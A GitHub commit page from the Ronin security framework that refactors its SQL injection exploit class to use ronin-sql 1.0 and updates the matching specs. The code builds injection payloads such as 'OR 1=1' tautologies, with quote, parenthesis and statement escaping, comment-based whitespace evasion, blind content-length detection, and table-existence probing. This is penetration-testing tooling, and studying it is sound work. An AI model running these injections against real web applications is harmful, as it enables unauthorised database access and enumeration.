Skip to content

Commit

Permalink
First attempt at converting Ronin::Exploits::SQLi to using ronin-sql …
Browse files Browse the repository at this point in the history
…1.0.
  • Loading branch information
postmodern committed Jan 23, 2013
1 parent 11a3251 commit 3b9de46
Show file tree
Hide file tree
Showing 2 changed files with 54 additions and 183 deletions.
121 changes: 35 additions & 86 deletions lib/ronin/exploits/sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -27,13 +27,20 @@ module Ronin
module Exploits
class SQLi < Web

# Different types of white-space to use
SPACES = {
:tab => "\t",
:space => ' ',
:newline => "\n",
:comment => '/**/'
}

# The type of escaping technique to use
property :escape, String, :set => [
nil, 'string', 'column', 'parenthesis', 'statement'
]
property :escape, String, :set => %w[integer decimal string list column],
:default => 'integer'

# The type of String quotation to use
property :quotes, String, :set => ['single', 'double', 'tick'],
property :quotes, String, :set => %w[single double],
:default => 'single'

# Whether or not to terminate the String with a SQL comment
Expand All @@ -44,36 +51,11 @@ class SQLi < Web
:default => :none,
:description => 'Case (none, lower, upper, random)'

# Controls whether to hex-escape the SQL string
parameter :hex_escape, :type => true,
:description => 'Hex-escapes all Strings'

# Controls whether less or more parentheses are included in the SQL
parameter :parens, :type => Symbol,
:default => :more,
:description => 'Parentheses (less or more)'

# Controls whether spaces or other kinds of white-space are used to
# separate keywords.
parameter :space, :type => true,
parameter :space, :type => Symbol,
:default => true,
:description => 'Enables or disables whitespace'

#
# The SQL formatter based on the exploit settings.
#
# @return [SQL::Formatter]
# The SQL formatter.
#
def formatter
SQL::Formatter.new(
:case => self.case,
:quotes => self.quotes.to_sym,
:hex_escape => self.hex_escape,
:parens => self.parens,
:space => self.space
)
end
:description => 'White-space (space, tab, new-line, comment)'

#
# The value of the targeted query-param.
Expand All @@ -88,62 +70,25 @@ def url_query_param_value
end

#
# Convenience interface to the Ronin SQL DSL.
#
# @return [SQL]
# The Ronin SQL DSL.
#
def sql
SQL
end

# Creates a new SQL injection.
#
# Escapes a SQL expression for injection.
# @return [SQL::Injection]
# The new SQL injection.
#
# @param [SQL::Formattable, #to_sql, #to_s] sql
# The SQL expression to be injected.
# @see http://ronin-ruby.github.com/docs/ronin-sql/Ronin/SQL/Injection.html
#
# @return [String]
# The SQL injection String.
#
def escape_sql(sql)
fmt = formatter
sql = fmt.format(sql)

case self.escape
when 'string'
sqli = fmt.join(url_query_param_value + fmt.quote, sql)

# if were are not terminating the SQLi
unless self.terminate?
sqli = if sqli.end_with?(fmt.quote)
# remove the trailing quote character
sqli.chomp(fmt.quote)
else
# and an extra 'AND' keyword and another quote character
fmt.join(sqli, fmt.keyword(:and), fmt.quote)
end
end
when 'columns'
sqli = fmt.join("#{url_query_param_value}`", sql, '--')
when 'parenthesis'
sqli = fmt.join("#{url_query_param_value})", sql, '--')
when 'statement'
sqli = fmt.join("#{url_query_param_value};", sql, '--')
else
sqli = fmt.join(url_query_param_value, sql)
end

# comment-terminate the SQLi, unless already terminated
sqli << '--' if (self.terminate? && !sqli.end_with?('--'))

return sqli
def sqli(&block)
SQL::Injection.new(
escape: self.escape.to_sym,
place_holder: url_query_param_value,
&block
)
end

#
# Creates an exploit URL which inject the SQL.
#
# @param [SQL::Formattable, #to_sql, #to_s] sql
# @param [#to_sql, #to_s] sql
# The SQL expression to inject.
#
# @param [Hash] query_params
Expand All @@ -153,7 +98,11 @@ def escape_sql(sql)
# The exploit URL.
#
def exploit_url(sql,query_params={})
super(escape_sql(sql),query_params)
sql = if sql.respond_to?(:to_sql) then sql.to_sql(terminate: true)
else sql.to_s
end

return super(sql,query_params)
end

#
Expand All @@ -173,9 +122,9 @@ def test_quotes
# Specifies if SQL injection was detected.
#
def test_and_false
sqli = sql[:and, 1, :eq, 0]
sql = sqli.and { 1 == 0 }

normal_response.content_length > exploit(sqli).content_length
normal_response.content_length > exploit(sql).content_length
end

#
Expand All @@ -185,9 +134,9 @@ def test_and_false
# Specifies if SQL injection was detected.
#
def test_or_true
sqli = sql[:or, 1, :eq, 1]
sql = sqli.or { 1 == 1 }

normal_response.content_length < exploit(sqli).content_length
normal_response.content_length < exploit(sql).content_length
end

#
Expand Down Expand Up @@ -216,9 +165,9 @@ def vulnerable?
# Specifies whether the table exists in the Database.
#
def db_has_table?(name)
sqli = sql[:and, 1, :eq, [sql[:select, sql.count(:all), :from, name]]]
sql = sqli.and { |sql| sql.select(sql.count).from(name) == 1 }

!(normal_response.content_length < exploit(sqli).content_length)
!(normal_response.content_length < exploit(sql).content_length)
end

end
Expand Down
116 changes: 19 additions & 97 deletions spec/exploits/sqli_spec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -45,117 +45,39 @@
end
end

describe "#escape_sql" do
let(:sql) { subject.sql[:or, 1, :eq, 1] }
let(:raw_sql) { 'OR 1=1' }

context "escaping integers" do
before { subject.escape = 'integer' }

it "should add a space after the url_query_param_value" do
sqli = subject.escape_sql(sql)

sqli.should be_start_with(subject.url_query_param_value + ' ')
end
end

context "escaping strings" do
before { subject.escape = 'string' }
describe "#exploit_url" do
context "when passed a object that responds to #to_sql" do
let(:sql) { subject.sqli.or { 1 == 1 } }
let(:raw_sql) { sql.to_sql }

it "should include a quote and a space after the url_query_param_value" do
sqli = subject.escape_sql(sql)
it "should set the query_param to the formatted SQL" do
uri = subject.exploit_url(sql)

sqli.should be_start_with(subject.url_query_param_value + "' ")
uri.query_params[query_param].should == raw_sql
end

context "when not terminating" do
context "and the SQL ends with a quote" do
let(:sql) { subject.sql['1', :eq, '1'] }
context "when terminate is true" do
before { subject.terminate = true }

it "should remove the tailing quote" do
sqli = subject.escape_sql(sql)
let(:raw_sql) { sql.to_sql(terminate: true) }

sqli.should_not be_end_with("'")
end
end
it "should terminate the SQL" do
uri = subject.exploit_url(sql)

context "otherwise" do
it "should append \" and '\"" do
sqli = subject.escape_sql(sql)

sqli.should be_end_with(" and '")
end
uri.query_params[query_param].should == raw_sql
end
end
end

context "escaping columns" do
before { subject.escape = 'columns' }

let(:sqli) { subject.escape_sql(sql) }

it "should include a tick-mark after the url_query_param_value" do
sqli.should be_start_with(subject.url_query_param_value + '`')
end

it "should terminate the SQLi" do
sqli.should be_end_with('--')
end
end

context "escaping parenthesis" do
before { subject.escape = 'parenthesis' }

let(:sqli) { subject.escape_sql(sql) }

it "should include a parenthesis after the url_query_param_value" do
sqli.should be_start_with(subject.url_query_param_value + ')')
end

it "should terminate the SQLi" do
sqli.should be_end_with('--')
end
end

context "escaping statements" do
before { subject.escape = 'statement' }

let(:sqli) { subject.escape_sql(sql) }

it "should include a semicolon after the url_query_param_value" do
sqli.should be_start_with(subject.url_query_param_value + ';')
end

it "should terminate the SQLi" do
sqli.should be_end_with('--')
end
end

context "when terminating" do
before { subject.terminate = true }
context "otherwise" do
let(:sql) { 1 }
let(:raw_sql) { '1' }

it "should append a single-line SQL comment" do
sqli = subject.escape_sql("or 1=1")
it "should convert the SQL to a String" do
uri = subject.exploit_url(sql)

sqli.should be_end_with('--')
uri.query_params[query_param].should == raw_sql
end

it "should not append a SQL comment, if one already exists" do
sqli = subject.escape_sql("or 1=1--")

sqli.should_not be_end_with('----')
end
end
end

describe "#exploit_url" do
let(:sql) { "OR 1=1" }
let(:escaped_sql) { subject.escape_sql(sql) }

it "should set the query_param to the escaped SQL" do
uri = subject.exploit_url(sql)

uri.query_params[query_param].should == escaped_sql
end
end

Expand Down

0 comments on commit 3b9de46

Please sign in to comment.